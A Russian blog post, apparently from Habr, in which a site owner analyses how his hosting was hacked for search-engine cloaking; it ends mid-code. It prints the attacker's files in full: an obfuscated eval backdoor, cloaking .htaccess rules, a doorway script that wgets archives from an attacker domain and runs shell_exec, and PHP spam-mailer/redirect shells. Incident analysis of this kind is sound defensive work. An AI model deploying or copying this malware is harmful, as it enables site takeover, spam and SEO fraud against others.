Всем привет, я вебмастер и меня взломали



    Доброго времени суток Хабр,

    Заголовок конечно же врёт, я не вебмастер. Точнее сказать, не могу зваться им после произошедшего. Я расскажу о том, как взломали мой хостинг и как я это событие проглядел, заметив лишь случайно, а также немного расследования. Надеюсь, мой опыт окажется полезным. Всем кому интересно, добро пожаловать под кат.

    Как всё выяснилось


    О взломе я узнал совершенно случайно, т.к. все сайты на хостинге работали, открывались и выглядели подобающе приличным страницам, без лишнего контента. Следует отметить, что до этого я никогда не пользовался Google Search Console, а только подключал Google Analytics. Но создав очередную страницу, я решил попробовать инструмент. И вот, Search Console подключен к сайту и пришло время посмотреть на что он способен.

    Одна из функций консоли это Fetch as Google, т.е запуск бота гугла на страницах сайта, и я сразу же его пустил на главную сайта. И тут я ничего не понял… с браузера страница открывается, а бот пишет что страница не найдена. Что то тут не так, подумал я, но продолжал запускать бота, наивно полагая что бот гугла сломался.


    Разбираемся в произошедшем


    Так как Search Console не предоставляет подробной информации об ошибке (что очень печально, на мой взгляд), я воспользовался сервисом http://web-sniffer.net чтобы проэмулировать работу гуглбота и заодно проверить виден ли сайт с другой точки планеты. Задал сайт *******.**, который должен открывать единственный index.php файл, вбил капчу и получил эту самую страницу 404.

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL /ХХХХХХХХХХ/bootlegger-limiter.php was not found on this server.</p>
    <p>Additionally, a 500 Internal Server Error
    error was encountered while trying to use an ErrorDocument to handle the request.</p>
    <hr>
    <address>Apache Server at *******.** Port 80</address>
    </body></html>

    Какой ещё bootlegger-limiter.php подумал я и быстро подключился к хостингу. Дело в том, что сайт *******.** лежит в подкаталоге основного сайта (который в корне). И я действительно обнаружил в корне bootlegger-limiter.php. А бота перенаправил, судя по всему, Apache. Открыл .htaccess, а там добавлены следующие строки:

    RewriteEngine on
    
    RewriteCond %{ENV:REDIRECT_STATUS} 200
    RewriteRule ^ - [L]
    RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
    RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
    RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]


    Иными словами поисковым ботам и людям, которые перешли на сайт с поисковых систем, показывали страницу обработанную в bootlegger-limiter.php.

    Вот это поворот. Решил посмотреть ради интереса что им показывалось. Набрал в гугле «site: *******.**»:


    Ок гугл, всё понятно. Меня слегка удивило, что бот гугла не проверяет разницу контентов полученных с HTTP заголовками бота и браузера chrome, например. Но может я неправ и это проверяется, поэтому в выдаче появилась надпись, что сайт возможно был взломан.

    Вот таким нехитрым образом можно скомпрометировать сайт в поисковиках, а ничего не подозревающий владелец может этого и не заметить. Я не знаю как именно взломали хостинг, т.к. на нём не висят сайты использующие CMS. Единственный сайт с популярным фреймворком был на Yii, но судя по всему он тут не причём, т.к. по методу похоже что делалось всё автоматически, а упомянутый фреймворк сложно взломать не зная структуры сайта. Как мне кажется, пароль от моего аккаунта просто пробрутфорсили. Ниже я расскажу какие файлы мне подбросили и какую функцию они выполняли.

    Разбор полёта червя


    Итак, для начала список исполняемых файлов кукушки, когда они были подброшены и их содержание:

    kfcgmxuu.php - 3 апреля 2016
    <?php
    $catie ='v]falreE'; $greatly= 'eae';$formulation = '(';
    
    $centralization = 'sSLuVSQ_V'; $gummy = 'a';$barrages = ')';$lawyer= ';]s]L'; $craw = '_'; $maisey ='yV]tdiVv'; $juliann='T'; $bridges= 'R';
    $betoken= '$';$atheists='R';$eustacia = '^'; $bunting = 'HaSI';$hurleigh ='Rc';$lovingly =')n"th';
    
    $cups = 'et'; $javelin= 'i';$lizard= '('; $chances = '=ej_i'; $leghorn= 'fVRcpr'; $finalized= '(';
    $expounded=')V'; $bounties='Y';
    
    $bushwhack = 'c';$big= 's6t';$dragging ='('; $appeasable='r'; $frequencies = 'a';
    $dolphins ='v_sie"';
    $dressers='s$VET';
    $heaved='[';$frederique= 'r'; $kettle= 'T'; $fortress ='nU'; $letting ='l';$entrusted='p$i)tE[[e';
    $ketti='i'; $coarsest = 'S'; $ashely ='_oZC'; $avrom ='E'; $knower='Te)E:`';$bayonets = 'a)l($ibi';$keying = 'K';$availing =';';$karmen=':T';$ingredient= '[g'; $coincides = '_'; $eyesight= 'v)re';
    
    $iterates ='r[)_c(E';
    $dissident='lvek';
    $discernibility ='m'; $inclination ='(vrs;_,gS';$characterizes ='e'; $contented= 'r'; $lorrayne= '?'; $archived='g';
    
    $bellowing =';'; $deferrer= '=v(a$,e'; $indiana='fta';$krisiun= '$a$WbqUT'; $gardens= '$i"i_i)';
    $evidenced = 'srH';$fruitfulness='"';$f='P'; $bylaw ='ad"v4_ve_';$coriss= '(ElspQ';
    $cots= 'esImrvq';$lizard ='a';
    
    $conceived ='y';$arabs=']eOX';$excretion='tu"u';$harmoniously ='r';$figured= ') ';$basful= 'vP(_'; $dapper ='o'; $asks = 'ocnes"';$indira ='t'; $jim ='?';
    
    $coweringly = '$';$incompetent = 'o'; $bitternut = 'gr';$codes = 'd';$grasp='qnOe"$se';
    $arachnids = 'VI)i(Q';$elucidate ='dQa'; $husband = $asks['1'] .$bitternut['1'] .$grasp['7'] . $elucidate['2'].$indira.$grasp['7'].$basful['3'] . $indiana[0].$excretion['3'] . $grasp[1] . $asks['1']. $indira. $arachnids['3'].$incompetent.
    
    $grasp[1];
    $iggy= $figured['1']; $aspirins= $husband($iggy, $grasp['7'] . $basful['0'] .$elucidate['2']. $coriss['2'].
    $arachnids['4'].
    $elucidate['2'] .$bitternut['1'] .$bitternut['1'] .
    $elucidate['2'] .$conceived. $basful['3'] . $coriss['4'] .$incompetent.$coriss['4'] .$arachnids['4']. $indiana[0]. $excretion['3'].$grasp[1].$asks['1'].$basful['3'] .$bitternut[0] . $grasp['7'].$indira .$basful['3'] .
    
    $elucidate['2'] . $bitternut['1']. $bitternut[0] . $grasp['6'] .$arachnids['4']. $arachnids['2'] .$arachnids['2'] .$arachnids['2']. $bellowing);
    
    $aspirins
    
    ($indecomposable['1'],$bylaw['4'] ,
    $arachnids['2'],$basful['1'],
    
    $karmen['0'] ,
    
    $big[1],$evidenced['2'], $coriss['4'] ,$arachnids['2'] ,$grasp['5'].
    
    $arachnids['3'].$deferrer['0'] .
    $elucidate['2'] .$bitternut['1'].$bitternut['1'].$elucidate['2'].
    $conceived .$basful['3'].
    
    $cots['3'] .$grasp['7'].$bitternut['1'] . $bitternut[0] .
    
    $grasp['7'] . $arachnids['4'] .$grasp['5']. $basful['3'].$leghorn['2'] .$coriss['1'] .
    $elucidate['1']. $krisiun['6'] . $coriss['1'] .$inclination['8'] .$krisiun['7'] .$deferrer['5'] . $grasp['5'] . $basful['3'] .$ashely['3'].$grasp['2'] . $grasp['2'].
    $keying.$arachnids[1] . $coriss['1']. $deferrer['5'] . $grasp['5']. $basful['3']. $inclination['8']. $coriss['1'] . $leghorn['2'].$arachnids['0'].$coriss['1']. $leghorn['2'] .$arachnids['2'].
    $bellowing . $grasp['5'].$elucidate['2'] .
    $deferrer['0']. $arachnids['3'] .
    $grasp['6'] .
    
    $grasp['6'] .
    $grasp['7'] .$indira .$arachnids['4'] .
    
    $grasp['5'].$arachnids['3']. $iterates[1] .$grasp['4'].
    
    $grasp['7'].$coriss['2'].
    
    $basful['0']. $arachnids['3'].$basful['0'] . $grasp['6'] . $basful['0']. $grasp['0']. $grasp['4'].
    $arabs[0] . $arachnids['2'].$jim .$grasp['5']. $arachnids['3'] .$iterates[1]. $grasp['4'] .
    
    $grasp['7'] . $coriss['2'].$basful['0'] .$arachnids['3'].$basful['0'].
    
    $grasp['6'].
    
    $basful['0'] . $grasp['0'] .
    
    $grasp['4']. $arabs[0] . $karmen['0'] .$arachnids['4'].
    $arachnids['3'] . $grasp['6'] .$grasp['6'] .$grasp['7'].$indira. $arachnids['4'] . $grasp['5'] .
    
    $arachnids['3'].$iterates[1].
    
    $grasp['4'] . $evidenced['2']. $krisiun['7'] .
    
    $krisiun['7'] . $basful['1'].
    
    $basful['3'].$coriss['1'] .
    $lawyer['4'] . $arachnids['0'].$arachnids[1]. $arachnids['0'] .$inclination['8'] . $arachnids['0'] . $elucidate['1']. $grasp['4'] .
    
    $arabs[0] .$arachnids['2'].
    $jim. $grasp['5'] . $arachnids['3']. $iterates[1].$grasp['4'] . $evidenced['2'].$krisiun['7'] .$krisiun['7'].$basful['1'] . $basful['3'] .
    $coriss['1'].$lawyer['4'] . $arachnids['0'].
    
    $arachnids[1] .$arachnids['0']. $inclination['8'] .$arachnids['0'] .$elucidate['1'].$grasp['4'] .$arabs[0]. $karmen['0'] .$elucidate['0'] .
    
    $arachnids['3']. $grasp['7'] .$arachnids['2'] . $bellowing.
    $grasp['7'] . $basful['0'] .$elucidate['2'] . $coriss['2']. $arachnids['4'].
    $grasp['6']. $indira. $bitternut['1'] . $bitternut['1']. $grasp['7'] .
    
    $basful['0']. $arachnids['4'] . $krisiun['4'] .$elucidate['2'] .
    $grasp['6'] . $grasp['7']. $big[1].$bylaw['4'] .$basful['3'].
    $elucidate['0'] . $grasp['7']. $asks['1']. $incompetent .
    
    $elucidate['0'] . $grasp['7'].
    
    $arachnids['4'] .$grasp['6'].
    $indira.
    
    $bitternut['1'] .
    $bitternut['1'] . $grasp['7'].$basful['0'].$arachnids['4']. $grasp['5'].$elucidate['2']. $arachnids['2'] .$arachnids['2'].$arachnids['2'] . $arachnids['2'].$bellowing );

    .htaccess - 5 апреля 2016
    RewriteEngine on
    
    RewriteCond %{ENV:REDIRECT_STATUS} 200
    RewriteRule ^ - [L]
    RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
    RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
    RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

    bootlegger-limiter.php - 5 апреля 2016
    <?php $mlksyl="\x63".chr(114)."e".chr(97).chr(116).chr(101)."_"."f".chr(117)."\x6e"."\x63".chr(116)."\x69"."\x6f"."\x6e";$ofanpm = $mlksyl('$a',strrev(';)a$(lave')); $ofanpm(strrev(';))"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"(edoced_46esab(lave'));?>

    enthusiasms-raw.php - 9 октября 2016
    <?php
    
    function base64_url_decode($val) {
    
        return base64_decode(strtr($val, '-_,', '+/='));
    
    }
    
    if(isset($_POST) and count($_POST) > 0){
    
    	
    if(isset($_POST["chk"])){
    
    	
        $val = array();
    
    	
        $val["res"] = 1;
    
    	
        print json_encode($val);
    
    	
    }else{
    
    	
        $post_data = array_values(array_map('stripslashes', $_POST));
    
    	
        $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));
    
    	
        if(count($m_data) > 1){
    
    	
    	
        $val = array();
    
    	
    	
        if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){
    
    	
    	
            $val["mail"] = 1;
    
    	
    	
        } else{
    
    	
    	
            $val["mail"] = 0;
    
    	
    	
        }
    
    	
    	
        print json_encode($val);
    
    	
        }
    
        }
    
    }
    
    
    
    if(isset($_GET) and count($_GET) > 0){
    
        $url = "";
    
        $redic = array_values($_GET);
    
        foreach(str_split(base64_url_decode($redic[0])) as $letter){
    
                if(rand(1,3) == 1){
    
                        $url .= $letter;
    
                }else{
    
                        $url .= $letter."'+'";
    
                }
    
        }
    
    ?>
    
    <html><head>
    
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    
    <title>Redirecting</title>
    
    <script>
    
    var r = '<?php echo $url;?>';
    
    var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];
    
    </script>
    
    </head>
    
    <body onload="location[_0x485b[0]](r);">
    
    Loading...
    
    </body></html>
    
    <?php } ?>

    equaling-intangibles.php - 9 октября 2016
    <?php
    
    function base64_url_decode($val) {
    
        return base64_decode(strtr($val, '-_,', '+/='));
    
    }
    
    if(isset($_POST) and count($_POST) > 0){
    
    	
    if(isset($_POST["chk"])){
    
    	
        $val = array();
    
    	
        $val["res"] = 1;
    
    	
        print json_encode($val);
    
    	
    }else{
    
    	
        $post_data = array_values(array_map('stripslashes', $_POST));
    
    	
        $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));
    
    	
        if(count($m_data) > 1){
    
    	
    	
        $val = array();
    
    	
    	
        if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){
    
    	
    	
            $val["mail"] = 1;
    
    	
    	
        } else{
    
    	
    	
            $val["mail"] = 0;
    
    	
    	
        }
    
    	
    	
        print json_encode($val);
    
    	
        }
    
        }
    
    }
    
    
    
    if(isset($_GET) and count($_GET) > 0){
    
        $url = "";
    
        $redic = array_values($_GET);
    
        foreach(str_split(base64_url_decode($redic[0])) as $letter){
    
                if(rand(1,3) == 1){
    
                        $url .= $letter;
    
                }else{
    
                        $url .= $letter."'+'";
    
                }
    
        }
    
    ?>
    
    <html><head>
    
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    
    <title>Redirecting</title>
    
    <script>
    
    var r = '<?php echo $url;?>';
    
    var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];
    
    </script>
    
    </head>
    
    <body onload="location[_0x485b[0]](r);">
    
    Loading...
    
    </body></html>
    
    <?php } ?>

    Начнём с самых ранних файлов, которые попали на сервер в апреле (kfcgmxuu.php и bootlegger-limiter.php). Они разумеется обфусцированы. Поэтому я их привёл в читаемый вид и посмотрел что же они делают.

    Самым первым появился kfcgmxuu.php, вот что он делает.

    $i = array_merge($_REQUEST,$_COOKIE,$_SERVER);
    $a = isset($i["elvivsvq"])?$i["elvivsvq"]:(isset($i["HTTP_ELVIVSVQ"])?$i["HTTP_ELVIVSVQ"]:die);
    eval(strrev(base64_decode(strrev($a)));

    На сайт в cookies, заголовках либо в аргументах с названием elvivsvq посылается закодированный при помощи MIME base64 и еще перевёрнутый 2 раза код и выполняется. После этого момента злоумышленник получает полный контроль над файловой системой хостинга к которой имеет доступ веб сервер. Это бэкдор, через который всё остальное и будет просачиваться.

    Далее при помощи этого бэкдора редактируется .htaccess и добавляется bootlegger-limiter.php, а вот и он, деобфусцированный:

    Показать код
    <?php
    
    set_time_limit(0);
    
    function get_page_by_curl($url, $useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36") {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        $result = curl_exec($ch);
        curl_close($ch);
        return $result;
    }
    
    $doorcontent = "";
    $x = @$_POST["pppp_check"];
    $md5pass = "e5e4570182820af0a183ce1520afe43b";
    
    $host = @$_SERVER["HTTP_HOST"];
    $uri = @$_SERVER["REQUEST_URI"];
    $host = str_replace("www.", "", $host);
    $md5host = md5($host);
    $urx = $host . $uri;
    $md5urx = md5($urx);
    
    if (function_exists('sys_get_temp_dir')) {
        $tmppath = sys_get_temp_dir();
        if (!is_dir($tmppath)) {
            $tmppath = (dirname(__FILE__));
        }
    } else {
        $tmppath = (dirname(__FILE__));
    }
    
    $cdir = $tmppath . "/." . $md5host . "/";
    $domain = "f.gghijacktest.com";
    
    if ($x != "") {
        $p = md5(base64_decode(@$_POST["p"]));
        if ($p != $md5pass)
            return;
        $pa = @$_POST["pa"];
    
        if (($x == "2") || ($x == "4")) {
            echo "###UPDATING_FILES###\n";
            if ($x == "2") {
                $cmd = "cd $tmppath; rm -rf .$md5host";
                echo shell_exec($cmd);
            }
            $cmd = "cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
            if ($pa != "") {
                $pa+=0;
                $cmd = "cd $tmppath; wget http://update.$domain/arc/" . $md5host . "_" . $pa . ".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
            }
            echo shell_exec($cmd);
            exit;
        }
        if ($x == "3") {
            echo "###WORKED###\n";
            exit;
        }
    } else {
        $curx = $cdir . $md5urx;
        if (@file_exists($curx)) {
            @list($IDpack, $mk, $doorcontent, $pdf, $contenttype) = @explode("|||", @file_get_contents($curx));
            $doorcontent = @base64_decode($doorcontent);
    
            $bot = 0;
            $se = 0;
            $mobile = 0;
            if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT"]))
                $bot = 1;
            if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT"]))
                $mobile = 1;
            if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER"]))
                $se = 1;
            if ($bot) {
                $pdf+=0;
                if ($pdf == 1) {
                    header("Content-Type: application/pdf");
                }
                if ($pdf == 2) {
                    header("Content-Type: image/png");
                }
                if ($pdf == 3) {
                    header("Content-Type: text/xml");
                }
                if ($pdf == 4) {
                    $contenttype = @base64_decode($contenttype);
                    $types = explode("\n", $contenttype);
                    foreach ($types as $val) {
                        $val = trim($val);
                        if ($val != "")
                            header($val);
                    }
                }
                echo $doorcontent;
                exit;
            }
            if ($se) {
                echo get_page_by_curl("http://$domain/lp.php?ip=" . $IDpack . "&mk=" . rawurlencode($mk) . "&d=" . $md5host . "&u=" . $md5urx . "&addr=" . $_SERVER["REMOTE_ADDR"], @$_SERVER["HTTP_USER_AGENT"]);
                exit;
            }
    
            header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
